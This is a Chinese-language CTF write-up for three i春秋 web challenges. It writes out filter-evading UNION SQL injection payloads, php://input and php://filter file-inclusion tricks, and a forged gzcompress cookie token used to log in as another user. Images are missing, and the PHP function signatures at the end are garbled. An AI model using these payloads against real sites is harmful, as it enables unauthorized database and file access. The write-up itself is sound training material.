i春秋writeup

1.sql

题目地址
http://baabb3c37fcb429b9a2a71dbe623a29ee49724ec66094043.game.ichunqiu.com

爆破数据库名 ?id=1 unio<>n sele<>ct 1,database(),3
爆表： ?id=1 union selec<>t 1,table_name,3 from information_schema.tables where table_schema='sqli'
爆列： ?id=1 unio<>n sele<>ct 1,column_name,3 fro<>m information_schema.columns where table_name='info'
爆值flag: ?id=1 union selec<>t 1,flAg_T5ZNdrm,3 from info

2.include

题目地址
http://2c5ab5a1abe64d98a4030b4aab717039d05000ed41844554.game.ichunqiu.com

看一下题目，完全没防护的文件包含：

image

直接构造：

path=php://input

post内容：

看一下有哪些文件：

图片.png

图片.png

再利用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php

读取文件内容，得到flag

图片.png

图片.png

3.Login

https://www.ichunqiu.com/battalion?q=2725
这题看到之后首先是sql注入的想法，不过很快破灭了，没有回显瞎注
查看源代码后，发现

图片.png

猜测账号密码是test1，果然进去了
进入member.php 页面 但是没用发现可用信息
于是burp suite拦截包看一下

图片.png

现在response 中有可疑参数 show

于是我们在请求段加入 show :1;

图片.png

发现返回了源码

得知要得到flag需要满足 $login['user'] === 'ichunqiu'

而user被requset['token'])));处理过

我们重新编写一个程序解密即可

图片.png

图片.png

将结果添加到cookie中的token中然后发过去即可得到flag

图片.png

函数说明：
gzcompress() - 压缩字符串
string gzcompress （string level= -1 [，int $encoding= ZLIB_ENCODING_DEFLATE ]]）
此函数使用ZLIB 数据格式压缩给定的字符串。
参数
data : 要压缩的数据。
level : 压缩程度。可以给出0表示无压缩，最高压缩为9。如果使用-1，则使用zlib库的默认压缩，即6。
encoding : 一个ZLIB_ENCODING_*常数。

gzuncompress - 解压缩压缩字符串
string gzuncompress （string length= 0 ]）
此函数解压缩压缩字符串。
data: 由gzcompress（）压缩的数据。
length: 要解码的最大数据长度。